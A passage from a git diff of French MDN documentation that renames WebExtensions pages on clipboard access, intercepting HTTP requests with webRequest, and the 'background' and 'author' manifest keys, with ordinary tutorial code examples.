  • Vous pouvez écrire dans le presse-papiers comme ceci dans tous les contextes d'exécution à l'exception des pages d'arrière-plan. Dans Firefox, vous ne pouvez pas sélectionner du texte ou mettre au point un champ de saisie dans les pages d'arrière-plan, de sorte que vous ne pouvez pas écrire dans le presse-papiers à partir d'une page d'arrière-plan.
    • +
  • A partir de la version 57, vous pouvez copier des images dans le presse-papiers à l'aide de l'API clipboard.setImageData().
    • +
  • Le support de l'API Clipboard {{domxref("Clipboard.writeText", "navigator.clipboard.writeText()")}} a été ajouté dans Firefox 63.
    • +
  • Lors de l'utilisation de scripts de contenu, l'API Clipboard n'est disponible que pour les pages HTTPS. Comme solution de contournement, utilisez la messagerie entre vos scripts de contenu et le script d'arrière-plan.
    • +
+ +
+

L'API execCommand('copy') n'est pas supporté dans Safari

+
+ + + +

Lecture à partir du presse-papiers

+ +

La méthode execCommand() fournit la commande "coller", qui vous permet de coller le contenu actuel du presse-papiers au point d'insertion dans un contrôle modifiable. Vous pouvez gagner en flexibilité en utilisant les méthodes {{domxref("Clipboard.read()")}} et {{domxref("Clipboard.readText()")}}.

+ +

Utilisation de execCommand()

+ +

Tout d'abord, vous devez avoir la permission "clipboardRead" établie pour votre extension. C'est le cas même si vous utilisez la commande "coller" à partir d'un gestionnaire d'événements généré par l'utilisateur tel que {{event("click")}} ou {{event("keypress")}}.

+ +

Considérez le HTML qui inclut quelque chose comme ceci :

+ +
<textarea id="output"></textarea>
+<button id="paste">Paste</button>
+
+ +

Pour définir le contenu de l'élément {{HTMLElement("textarea")}} avec l'ID "output" du presse-papiers lorsque l'utilisateur clique sur le {{HTMLElement("button")}} "coller", vous pouvez utiliser du code comme ceci :

+ +
function paste() {
+  var pasteText = document.querySelector("#output");
+  pasteText.focus();
+  document.execCommand("paste");
+  console.log(pasteText.textContent);
+}
+
+document.querySelector("#paste").addEventListener("click", paste);
+ +

Utilisation de l'API Presse-papiers

+ +

Les méthodes {{domxref("Clipboard.readText", "navigator.clipboard.readText()")}} et {{domxref("Clipboard.read", "navigator.clipboard.read()")}} de l'API Presse-papiers vous permettent de lire du texte arbitraire ou des données binaires à partir du presse-papiers. Cela vous permet d'accéder aux données du presse-papiers sans simplement les coller dans un élément modifiable.

+ +

Une fois que vous avez la permission "clipboard-read" de l'API permissions, vous pouvez lire facilement à partir du presse-papiers :

+ +
navigator.clipboard.readText().then(clipText =>
+  document.getElementById("outbox").innerText = clipText);
+ +

Cet extrait de code récupère le texte du presse-papiers et remplace le contenu actuel de l'élément par l'ID "outbox" avec ce texte.

+ +

Considérations spécifiques au navigateur

+ +

Firefox supporte la permission "clipboardRead" à partir de la version 54, mais ne supporte pas que le collage dans les élements en mode édition de contenu, qui pour les scripts de contenu ne fonctionne qu'avec un {{HTMLElement("textarea")}}. Pour les scripts d'arrière-plan, n'importe quel élément peut être mis en mode contenu modifiable.

+ +

Voir aussi

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/interagir_avec_le_presse_papier/index.html b/files/fr/mozilla/add-ons/webextensions/interagir_avec_le_presse_papier/index.html deleted file mode 100644 index fe7b69e3a3..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/interagir_avec_le_presse_papier/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Interagir avec le presse-papier -slug: Mozilla/Add-ons/WebExtensions/interagir_avec_le_presse_papier -tags: - - Add-ons - - Clip - - Clipboard - - Cut - - Editing - - Extensions - - Text - - WebExtensions - - coller - - copier - - copy - - couper - - paste -translation_of: Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard ---- -
{{AddonSidebar}}
- -

ll y a deux façons dont les extensions de navigateur peuvent interagir avec le presse-papiers système : la méthode {{domxref("Document.execCommand()")}}  et l'asynchrone moderne de l'API Presse-papiers.

- -

La méthode {{domxref("Document.execCommand()")}} peut être utilisée, en spécifiant la commande désirée :

- -
    -
  • document.execCommand("copy")
    • -
  • document.execCommand("cut")
    • -
  • document.execCommand("paste")
    • -
- -

L'API Presse-papiers fournit un accès asynchrone pour lire et écrire directement le contenu du presse-papiers. Par exemple, pour lire le texte du presse-papiers :

- -
navigator.clipboard.readText().then(text => outputElem.innerText = text);
- -

Ceci demande le contenu du presse-papiers et, lorsque la réponse est reçue, stocke le texte du presse-papiers dans le {{domxref("Node.innerText", "innerText")}} d'un élément.

- -
-

Note: Les méthodes asynchrones de l'API Clipboard sont un ajout récent à la spécification et peuvent ne pas être entièrement implémentées dans tous les navigateurs. Assurez-vous de passer en revue les tableaux de compatibilité pour chaque méthode avant de les utiliser, afin de vous assurer que le support est suffisamment large pour vos besoins.

-
- -

Ecrire dans le presse-papiers

- -

Il y a deux façons d'écrire dans le presse-papiers. Vous pouvez utiliser les actions {{domxref("Document.execCommand", "document.execCommand()")}} pour déclencher les actions "couper" et "copier", qui remplace le contenu actuel du presse-papiers par les données actuellement sélectionnées. L'autre option est d'utiliser la méthode {{domxref("Clipboard.writeText()")}} ou {{domxref("Clipboard.write()")}} de l'API Presse-papiers pour remplacer le contenu du presse-papiers par des données spécifiques.

- -

Utiliser execCommand()

- -

Les commandes {{domxref("Document.execCommand", "document.execCommand()")}} de la méthode "couper" et "copier" peuvent être utilisées pour remplacer le contenu actuel du presse-papiers par le matériel sélectionné. Ces commandes peuvent être utilisées sans permission spéciale si vous les utilisez dans un gestionnaire d'événements de courte durée pour une action utilisateur (par exemple, un gestionnaire de clics).

- -

Par exemple, supposons que vous ayez un popup qui inclut le HTML suivant :

- -
<input id="input" type="text"/>
-<button id="copy">Copy</button>
-
- -

Pour que le bouton "copier" copie le contenu de l'élément {{HTMLElement("input")}}, vous pouvez utiliser du code comme ceci :

- -
function copy() {
-  var copyText = document.querySelector("#input");
-  copyText.select();
-  document.execCommand("copy");
-}
-
-document.querySelector("#copy").addEventListener("click", copy);
- -

Parce que l'appel execCommand() se trouve à l'intérieur d'un gestionnaire d'événements click, vous n'avez pas besoin de permissions spéciales ici.

- -

Cependant, disons que vous déclenchez plutôt la copie à partir d'une alarme  :

- -
function copy() {
-  var copyText = document.querySelector("#input");
-  copyText.select();
-  document.execCommand("copy");
-}
-
-browser.alarms.create({
-  delayInMinutes: 0.1
-});
-
-browser.alarms.onAlarm.addListener(copy);
- -

Selon le navigateur, cela peut ne pas fonctionner. Sur Firefox, cela ne fonctionnera pas, et vous verrez un message comme celui-ci dans votre console :

- -
document.execCommand(‘cut’/‘copy’) was denied because it was not called from inside a short running user-generated event handler.
- -

Pour activer ce cas d'utilisation, vous devez demander permission "clipboardWrite". Alors :  "clipboardWrite" vous permet d'écrire dans le presse-papiers en dehors d'un gestionnaire d'événements de courte durée pour une action utilisateur.

- -

Utilisation de l'API Presse-papiers

- -

L'API Presse-papiers ajoute une plus grande flexibilité, en ce sens que vous n'êtes pas limité à copier simplement la sélection courante dans le presse-papiers, mais vous pouvez spécifier directement quelles informations placer dans le presse-papiers.

- -

L'utilisation de l'API nécessite que vous ayez les permissons de l'API "clipboard-write". Vous pouvez vérifier cette permission en utilisant {{domxref("Permissions.query", "navigator.permissions.query()")}}:

- -
navigator.permissions.query({name: "clipboard-write"}).then(result => {
-  if (result.state == "granted" || result.state == "prompt") {
-    /* write to the clipboard now */
-  }
-});
-
- -

Cette fonction prend une chaîne de caractères comme entrée et met à jour le presse-papiers pour contenir cette chaîne :

- -
function updateClipboard(newClip) {
-  navigator.clipboard.writeText(newClip).then(function() {
-    /* clipboard successfully set */
-  }, function() {
-    /* clipboard write failed */
-  });
-}
-
- -
-

Note: Le nom de la permission clipboard-write n'est pas supporté actuellement dans Firefox - seulement les navigateurs Chromium.

-
- -

***Considérations spécifiques du navigateur

- -

Le presse-papiers et les autres API impliquées ici évoluent rapidement, de sorte qu'il y a des variations entre les navigateurs quant à leur mode de fonctionnement.

- -

Dans Chrome:

- -
    -
  • Vous pouvez écrire dans le presse-papiers comme ceci dans tous les contextes d'exécution - pages d'arrière-plan, scripts de contenu, pages d'options et popups.
    • -
  • Vous n'avez pas besoin de "clipboardWrite", même pour écrire dans le presse-papiers en dehors d'un gestionnaire d'événements généré par l'utilisateur.
    • -
- -

Dans Firefox:

- -
    -
  • Vous pouvez écrire dans le presse-papiers comme ceci dans tous les contextes d'exécution à l'exception des pages d'arrière-plan. Dans Firefox, vous ne pouvez pas sélectionner du texte ou mettre au point un champ de saisie dans les pages d'arrière-plan, de sorte que vous ne pouvez pas écrire dans le presse-papiers à partir d'une page d'arrière-plan.
    • -
  • A partir de la version 57, vous pouvez copier des images dans le presse-papiers à l'aide de l'API clipboard.setImageData().
    • -
  • Le support de l'API Clipboard {{domxref("Clipboard.writeText", "navigator.clipboard.writeText()")}} a été ajouté dans Firefox 63.
    • -
  • Lors de l'utilisation de scripts de contenu, l'API Clipboard n'est disponible que pour les pages HTTPS. Comme solution de contournement, utilisez la messagerie entre vos scripts de contenu et le script d'arrière-plan.
    • -
- -
-

L'API execCommand('copy') n'est pas supporté dans Safari

-
- - - -

Lecture à partir du presse-papiers

- -

La méthode execCommand() fournit la commande "coller", qui vous permet de coller le contenu actuel du presse-papiers au point d'insertion dans un contrôle modifiable. Vous pouvez gagner en flexibilité en utilisant les méthodes {{domxref("Clipboard.read()")}} et {{domxref("Clipboard.readText()")}}.

- -

Utilisation de execCommand()

- -

Tout d'abord, vous devez avoir la permission "clipboardRead" établie pour votre extension. C'est le cas même si vous utilisez la commande "coller" à partir d'un gestionnaire d'événements généré par l'utilisateur tel que {{event("click")}} ou {{event("keypress")}}.

- -

Considérez le HTML qui inclut quelque chose comme ceci :

- -
<textarea id="output"></textarea>
-<button id="paste">Paste</button>
-
- -

Pour définir le contenu de l'élément {{HTMLElement("textarea")}} avec l'ID "output" du presse-papiers lorsque l'utilisateur clique sur le {{HTMLElement("button")}} "coller", vous pouvez utiliser du code comme ceci :

- -
function paste() {
-  var pasteText = document.querySelector("#output");
-  pasteText.focus();
-  document.execCommand("paste");
-  console.log(pasteText.textContent);
-}
-
-document.querySelector("#paste").addEventListener("click", paste);
- -

Utilisation de l'API Presse-papiers

- -

Les méthodes {{domxref("Clipboard.readText", "navigator.clipboard.readText()")}} et {{domxref("Clipboard.read", "navigator.clipboard.read()")}} de l'API Presse-papiers vous permettent de lire du texte arbitraire ou des données binaires à partir du presse-papiers. Cela vous permet d'accéder aux données du presse-papiers sans simplement les coller dans un élément modifiable.

- -

Une fois que vous avez la permission "clipboard-read" de l'API permissions, vous pouvez lire facilement à partir du presse-papiers :

- -
navigator.clipboard.readText().then(clipText =>
-  document.getElementById("outbox").innerText = clipText);
- -

Cet extrait de code récupère le texte du presse-papiers et remplace le contenu actuel de l'élément par l'ID "outbox" avec ce texte.

- -

Considérations spécifiques au navigateur

- -

Firefox supporte la permission "clipboardRead" à partir de la version 54, mais ne supporte pas que le collage dans les élements en mode édition de contenu, qui pour les scripts de contenu ne fonctionne qu'avec un {{HTMLElement("textarea")}}. Pour les scripts d'arrière-plan, n'importe quel élément peut être mis en mode contenu modifiable.

- -

Voir aussi

- - diff --git a/files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.html new file mode 100644 index 0000000000..f534b57be1 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/intercept_http_requests/index.html @@ -0,0 +1,160 @@ +--- +title: Intercepter les requêtes HTTP +slug: Mozilla/Add-ons/WebExtensions/Intercepter_requêtes_HTTP +tags: + - Extensions + - Modules complémentaires + - Tutoriel + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests +--- +
{{AddonSidebar}}
+ +

Utilisez l’API {{WebExtAPIRef("webRequest")}} pour intercepter les requêtes HTTP. Avec cette API, vous pouvez ajouter des écouteurs à différents stades d’exécution d’une requête HTTP. Avec les écouteurs, vous pouvez :

+ +
    +
  • accéder aux en-têtes et aux corps, et des en-têtes de réponses ;
    • +
  • annuler et rediriger les requêtes ;
    • +
  • modifier les en-têtes de requête et de réponse.
    • +
+ +

Cet article décrit trois utilisations possibles du module webRequest :

+ +
    +
  • La journalisation des URL de requête à mesure de leur exécution.
    • +
  • La redirection des requêtes.
    • +
  • La modification des en-têtes de requête.
    • +
+ +

Journalisation des URL de requête

+ +

Créez un nouveau répertoire et nommez-le "requests". Dans ce répertoire, créez le fichier "manifest.json", avec le contenu suivant :

+ +
{
+  "description": "Démonstration du module webRequests",
+  "manifest_version": 2,
+  "name": "webRequest-demo",
+  "version": "1.0",
+
+  "permissions": [
+    "webRequest",
+    "<all_urls>"
+  ],
+
+  "background": {
+    "scripts": ["background.js"]
+  }
+}
+ +

Ensuite, créez un fichier nommé "background.js", avec le contenu suivant :

+ +
function logURL(requestDetails) {
+  console.log("Chargement : " + requestDetails.url);
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  logURL,
+  {urls: ["<all_urls>"]}
+);
+
+
+ +

Ici, nous utilisons l’écouteur {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} pour appeler la fonction logURL() juste avant de démarrer la requête. La fonction logURL() récupère l’URL de la requête dans l’objet d’évènement et la journalise dans la console du navigateur. Le modèle {urls: ["<all_urls>"]} permet d’intercepter les requêtes HTTP vers toutes les URL.

+ +

Pour tester ce module, installez l'extension, ouvrez la console du navigateur et accédez à quelques pages web. Dans la console du navigateur, les URL de toutes les ressources ayant fait l’objet d’une requête de navigateur devraient s’afficher :

+ +

{{EmbedYouTube("X3rMgkRkB1Q")}}

+ +

Redirection des requêtes

+ +

Utilisons maintenant webRequest pour rediriger les requêtes HTTP. Commençons par modifier le fichier manifest.json comme suit :

+ +
{
+
+  "description": "Demonstrating webRequests",
+  "manifest_version": 2,
+  "name": "webRequest-demo",
+  "version": "1.0",
+
+  "permissions": [
+    "webRequest",
+    "webRequestBlocking",
+    "https://developer.mozilla.org/",
+    "https://mdn.mozillademos.org/"
+  ],
+
+  "background": {
+    "scripts": ["background.js"]
+  }
+
+}
+ +

Ici, il s’agit simplement d’ajouter la permission "webRequestBlocking". Cette permission supplémentaire est requise lors de toute modification active d’une requête.

+ +

Modifions ensuite le fichier « background.js » comme suit :

+ +
var pattern = "https://mdn.mozillademos.org/*";
+
+function redirect(requestDetails) {
+  console.log("Redirection : " + requestDetails.url);
+  return {
+    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
+  };
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  redirect,
+  {urls:[pattern], types:["image"]},
+  ["blocking"]
+);
+ +

Encore une fois, nous utilisons l’écouteur d’évènement {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} pour exécuter une fonction juste avant le démarrage de chaque requête. Cette fonction remplace l’URL cible par l’URL de redirection redirectUrl spécifiée dans la fonction.

+ +

Cette fois-ci, toutes les requêtes ne sont pas interceptées. L’option {urls:[pattern], types:["image"]} indique qu’il ne faut intercepter que les requêtes (1) vers des URL résidant sous "https://mdn.mozillademos.org/" (2) pour les ressources d’images. Consultez la documentation {{WebExtAPIRef("webRequest.RequestFilter")}} pour en savoir plus.

+ +

À noter également le passage de l’option "blocking": passez cette option dès que vous souhaitez modifier la requête. La fonction d’écouteur bloque la requête réseau. Le navigateur attend alors que l’écouteur renvoie un résultat avant de continuer. Consultez la documentation {{WebExtAPIRef("webRequest.onBeforeRequest")}} pour en savoir plus sur l’option "blocking".

+ +

Pour tester ce module, ouvrez une page MDN contenant beaucoup d’images (par exemple https://developer.mozilla.org/fr/docs/Tools/Network_Monitor), rechargez l'extension, puis rechargez la page MDN :

+ +

{{EmbedYouTube("ix5RrXGr0wA")}}

+ +

Modification des en-têtes de requête

+ +

Enfin, nous pouvons utiliser le module webRequest pour modifier les en-têtes de requête. Dans cet exemple, nous allons modifier l’en-tête "User-Agent" afin que le navigateur s’identifie lui-même comme Opera 12.16, mais uniquement en cas de consultation des pages sous http://useragentstring.com/".

+ +

Il n’est pas nécessaire de modifier le fichier "manifest.json" par rapport à l’exemple précédent.

+ +

Modifiez le code du fichier "background.js" comme suit :

+ +
var targetPage = "http://useragentstring.com/*";
+
+var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";
+
+function rewriteUserAgentHeader(e) {
+  e.requestHeaders.forEach(function(header){
+    if (header.name.toLowerCase() == "user-agent") {
+      header.value = ua;
+    }
+  });
+  return {requestHeaders: e.requestHeaders};
+}
+
+browser.webRequest.onBeforeSendHeaders.addListener(
+  rewriteUserAgentHeader,
+  {urls: [targetPage]},
+  ["blocking", "requestHeaders"]
+);
+ +

Ici, nous utilisons l’écouteur d’évènement {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} pour exécuter une fonction juste avant l’envoi des en-têtes de requête.

+ +

La fonction d’écouteur n’est appelée qu’en cas de requête vers des URL correspondant au modèle targetPage. Notez aussi le nouveau passage de l’option "blocking". Nous avons également passé "requestHeaders", qui indique que l’écouteur reçoit une liste contenant les en-têtes de requête à envoyer. Consultez la documentation {{WebExtAPIRef("webRequest.onBeforeSendHeaders")}} pour en savoir plus sur ces options.

+ +

La fonction d’écouteur recherche l’en-tête "User-Agent" dans la liste, remplace sa valeur par celle de la variable ua et renvoie la liste modifiée. Cette dernière est ensuite envoyée au serveur.

+ +

Pour tester ce module, accédez à useragentstring.com et vérifiez que le navigateur identifié est Firefox. Rechargez ensuite l'extension, rechargez useragentstring.com et vérifiez que Firefox a été remplacé par Opera :

+ +

{{EmbedYouTube("SrSNS1-FIx0")}}

+ +

En savoir plus

+ +

Pour en apprendre davantage sur toutes les possibilités de l’API webRequest, consultez la documentation de référence correspondante.

diff --git "a/files/fr/mozilla/add-ons/webextensions/intercepter_requ\303\252tes_http/index.html" "b/files/fr/mozilla/add-ons/webextensions/intercepter_requ\303\252tes_http/index.html" deleted file mode 100644 index f534b57be1..0000000000 --- "a/files/fr/mozilla/add-ons/webextensions/intercepter_requ\303\252tes_http/index.html" +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Intercepter les requêtes HTTP -slug: Mozilla/Add-ons/WebExtensions/Intercepter_requêtes_HTTP -tags: - - Extensions - - Modules complémentaires - - Tutoriel - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests ---- -
{{AddonSidebar}}
- -

Utilisez l’API {{WebExtAPIRef("webRequest")}} pour intercepter les requêtes HTTP. Avec cette API, vous pouvez ajouter des écouteurs à différents stades d’exécution d’une requête HTTP. Avec les écouteurs, vous pouvez :

- -
    -
  • accéder aux en-têtes et aux corps, et des en-têtes de réponses ;
    • -
  • annuler et rediriger les requêtes ;
    • -
  • modifier les en-têtes de requête et de réponse.
    • -
- -

Cet article décrit trois utilisations possibles du module webRequest :

- -
    -
  • La journalisation des URL de requête à mesure de leur exécution.
    • -
  • La redirection des requêtes.
    • -
  • La modification des en-têtes de requête.
    • -
- -

Journalisation des URL de requête

- -

Créez un nouveau répertoire et nommez-le "requests". Dans ce répertoire, créez le fichier "manifest.json", avec le contenu suivant :

- -
{
-  "description": "Démonstration du module webRequests",
-  "manifest_version": 2,
-  "name": "webRequest-demo",
-  "version": "1.0",
-
-  "permissions": [
-    "webRequest",
-    "<all_urls>"
-  ],
-
-  "background": {
-    "scripts": ["background.js"]
-  }
-}
- -

Ensuite, créez un fichier nommé "background.js", avec le contenu suivant :

- -
function logURL(requestDetails) {
-  console.log("Chargement : " + requestDetails.url);
-}
-
-browser.webRequest.onBeforeRequest.addListener(
-  logURL,
-  {urls: ["<all_urls>"]}
-);
-
-
- -

Ici, nous utilisons l’écouteur {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} pour appeler la fonction logURL() juste avant de démarrer la requête. La fonction logURL() récupère l’URL de la requête dans l’objet d’évènement et la journalise dans la console du navigateur. Le modèle {urls: ["<all_urls>"]} permet d’intercepter les requêtes HTTP vers toutes les URL.

- -

Pour tester ce module, installez l'extension, ouvrez la console du navigateur et accédez à quelques pages web. Dans la console du navigateur, les URL de toutes les ressources ayant fait l’objet d’une requête de navigateur devraient s’afficher :

- -

{{EmbedYouTube("X3rMgkRkB1Q")}}

- -

Redirection des requêtes

- -

Utilisons maintenant webRequest pour rediriger les requêtes HTTP. Commençons par modifier le fichier manifest.json comme suit :

- -
{
-
-  "description": "Demonstrating webRequests",
-  "manifest_version": 2,
-  "name": "webRequest-demo",
-  "version": "1.0",
-
-  "permissions": [
-    "webRequest",
-    "webRequestBlocking",
-    "https://developer.mozilla.org/",
-    "https://mdn.mozillademos.org/"
-  ],
-
-  "background": {
-    "scripts": ["background.js"]
-  }
-
-}
- -

Ici, il s’agit simplement d’ajouter la permission "webRequestBlocking". Cette permission supplémentaire est requise lors de toute modification active d’une requête.

- -

Modifions ensuite le fichier « background.js » comme suit :

- -
var pattern = "https://mdn.mozillademos.org/*";
-
-function redirect(requestDetails) {
-  console.log("Redirection : " + requestDetails.url);
-  return {
-    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
-  };
-}
-
-browser.webRequest.onBeforeRequest.addListener(
-  redirect,
-  {urls:[pattern], types:["image"]},
-  ["blocking"]
-);
- -

Encore une fois, nous utilisons l’écouteur d’évènement {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} pour exécuter une fonction juste avant le démarrage de chaque requête. Cette fonction remplace l’URL cible par l’URL de redirection redirectUrl spécifiée dans la fonction.

- -

Cette fois-ci, toutes les requêtes ne sont pas interceptées. L’option {urls:[pattern], types:["image"]} indique qu’il ne faut intercepter que les requêtes (1) vers des URL résidant sous "https://mdn.mozillademos.org/" (2) pour les ressources d’images. Consultez la documentation {{WebExtAPIRef("webRequest.RequestFilter")}} pour en savoir plus.

- -

À noter également le passage de l’option "blocking": passez cette option dès que vous souhaitez modifier la requête. La fonction d’écouteur bloque la requête réseau. Le navigateur attend alors que l’écouteur renvoie un résultat avant de continuer. Consultez la documentation {{WebExtAPIRef("webRequest.onBeforeRequest")}} pour en savoir plus sur l’option "blocking".

- -

Pour tester ce module, ouvrez une page MDN contenant beaucoup d’images (par exemple https://developer.mozilla.org/fr/docs/Tools/Network_Monitor), rechargez l'extension, puis rechargez la page MDN :

- -

{{EmbedYouTube("ix5RrXGr0wA")}}

- -

Modification des en-têtes de requête

- -

Enfin, nous pouvons utiliser le module webRequest pour modifier les en-têtes de requête. Dans cet exemple, nous allons modifier l’en-tête "User-Agent" afin que le navigateur s’identifie lui-même comme Opera 12.16, mais uniquement en cas de consultation des pages sous http://useragentstring.com/".

- -

Il n’est pas nécessaire de modifier le fichier "manifest.json" par rapport à l’exemple précédent.

- -

Modifiez le code du fichier "background.js" comme suit :

- -
var targetPage = "http://useragentstring.com/*";
-
-var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";
-
-function rewriteUserAgentHeader(e) {
-  e.requestHeaders.forEach(function(header){
-    if (header.name.toLowerCase() == "user-agent") {
-      header.value = ua;
-    }
-  });
-  return {requestHeaders: e.requestHeaders};
-}
-
-browser.webRequest.onBeforeSendHeaders.addListener(
-  rewriteUserAgentHeader,
-  {urls: [targetPage]},
-  ["blocking", "requestHeaders"]
-);
- -

Ici, nous utilisons l’écouteur d’évènement {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} pour exécuter une fonction juste avant l’envoi des en-têtes de requête.

- -

La fonction d’écouteur n’est appelée qu’en cas de requête vers des URL correspondant au modèle targetPage. Notez aussi le nouveau passage de l’option "blocking". Nous avons également passé "requestHeaders", qui indique que l’écouteur reçoit une liste contenant les en-têtes de requête à envoyer. Consultez la documentation {{WebExtAPIRef("webRequest.onBeforeSendHeaders")}} pour en savoir plus sur ces options.

- -

La fonction d’écouteur recherche l’en-tête "User-Agent" dans la liste, remplace sa valeur par celle de la variable ua et renvoie la liste modifiée. Cette dernière est ensuite envoyée au serveur.

- -

Pour tester ce module, accédez à useragentstring.com et vérifiez que le navigateur identifié est Firefox. Rechargez ensuite l'extension, rechargez useragentstring.com et vérifiez que Firefox a été remplacé par Opera :

- -

{{EmbedYouTube("SrSNS1-FIx0")}}

- -

En savoir plus

- -

Pour en apprendre davantage sur toutes les possibilités de l’API webRequest, consultez la documentation de référence correspondante.

diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/arriere-plan/index.html b/files/fr/mozilla/add-ons/webextensions/manifest.json/arriere-plan/index.html deleted file mode 100644 index 4181a9e841..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/arriere-plan/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: background -slug: Mozilla/Add-ons/WebExtensions/manifest.json/arriere-plan -tags: - - Add-ons - - Extensions - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/background ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
TypeObject
ObligatoireNo
Exemple - 
-"background": {
-  "scripts": ["background.js"]
-}
-
- -

Utilisez la clé background pour inclure un ou plusieurs scripts d'arrière-plan, et éventuellement une page d'arrière-plan dans votre extension.

- -

Les scripts d'arrière-plan sont l'endroit pour placer le code qui doit maintenir l'état à long terme, ou effectuer des opérations à long terme, indépendamment de la durée de vie de toutes les pages Web ou les fenêtres du navigateur.

- -

Les scripts d'arrière-plan sont chargés dès que l'extension est chargée et restent chargés jusqu'à ce que l'extension soit désactivée ou désinstallée. Vous pouvez utiliser n'importe laquelle des WebExtension APIs dans le script, tant que vous avez demandé les permissions nécessaires.

- -

Voir la section "Pages arrière-plan" dans l'anatomie d'une WebExtension pour plus de détails.

- -

La clé background est un objet qui peut avoir l'une des deux propriétés suivantes, toutes deux facultatives :

- - - - - - - - - - - - -
"scripts" -

Un ensemble de chaînes, chacune étant un chemin d'accès à une source JavaScript. Le chemin est relatif au fichier manifest.json lui-même. Ce sont les scripts d'arrière-plan qui seront inclus dans l'extension.

- -

Les scripts partagent la même fenêtre globale.

- -

Les scripts sont chargés dans l'ordre où 'ils apparaissent dans le tableau.

- -

Notez qu'il y a un bug affectant les versions de Firefox antérieures à la version 50 : lorsque le débogueur Firefox est ouvert, les scripts ne sont pas toujours chargés dans l'ordre indiqué dans le tableau. Pour contourner ce bug, vous pouvez utiliser la propriété "page" et inclure des scripts de fond de page en utilisant les balises <script>. Ce bug est résolu dans Firefox 50, et à partir de ce moment, les scripts sont toujours chargés dans l'ordre indiqué dans le tableau.

-
"page" -
-

Note : Si vous souhaitez récupérer un script à partir d'un emplacement distant avec la balise <script> (par exemple : <script src = "https://code.jquery.com/jquery-1.7.1.min.js"> ), vous devrez également modifier la clé content_security_policy dans le fichier manifest.json de votre extension.

-
- -

Si vous spécifiez des "scripts", une page vide sera créée pour que vos scripts s'exécutent.

- -

Si vous avez besoin de contenu particulier dans la page, vous pouvez définir votre propre page en utilisant l'option "page".

- -

Si vous utilisez cette propriété, vous ne pouvez plus spécifier de scripts de fond à l'aide de «scripts», mais vous pouvez inclure vos propres scripts à partir de la page, tout comme dans une page Web normale.

-
- -

Exemple

- -
 "background": {
-    "scripts": ["jquery.js", "my-background.js"]
-  }
- -

Chargez deux scripts de fond.

- -
  "background": {
-    "page": "my-background.html"
-  }
- -

Chargez une page d'arrière-plan personnalisée.

- -

Compatibilité du navigateur

- - - -

{{Compat("webextensions.manifest.background", 10)}}

diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/auteur/index.html b/files/fr/mozilla/add-ons/webextensions/manifest.json/auteur/index.html deleted file mode 100644 index a00c7dab33..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/auteur/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: author -slug: Mozilla/Add-ons/WebExtensions/manifest.json/auteur -tags: - - Add-ons - - Extensions - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/author ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
Typechaîne de caractères
ObligatoireNon
Exemple - 
-"author": "Walt Whitman"
-
- -

L'auteur de l'extension, destiné à être visualisé dans l'interface utilisateur du navigateur. Si la clé du developpeur est fournie et qu'elle contient la propriété "nom", elle remplacera la clé de l'auteur. Il n'y a aucun moyen de spécifier plusieurs auteurs.

- -

Notez que Firefox ne supporte cette clé qu'à partir de la version 52 et que cette clé est obligatoire dans Microsoft Edge.

- -

Exemple

- -
"author": "Walt Whitman"
- -

Compatibilité des navigateurs

- - - -

{{Compat("webextensions.manifest.author")}}

diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/author/index.html b/files/fr/mozilla/add-ons/webextensions/manifest.json/author/index.html new file mode 100644 index 0000000000..a00c7dab33 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/author/index.html @@ -0,0 +1,44 @@ +--- +title: author +slug: Mozilla/Add-ons/WebExtensions/manifest.json/auteur +tags: + - Add-ons + - Extensions + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/author +--- +
{{AddonSidebar}}
+ + + + + + + + + + + + + + + + +
Typechaîne de caractères
ObligatoireNon
Exemple + 
+"author": "Walt Whitman"
+
+ +

L'auteur de l'extension, destiné à être visualisé dans l'interface utilisateur du navigateur. Si la clé du developpeur est fournie et qu'elle contient la propriété "nom", elle remplacera la clé de l'auteur. Il n'y a aucun moyen de spécifier plusieurs auteurs.

+ +

Notez que Firefox ne supporte cette clé qu'à partir de la version 52 et que cette clé est obligatoire dans Microsoft Edge.

+ +

Exemple

+ +
"author": "Walt Whitman"
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("webextensions.manifest.author")}}

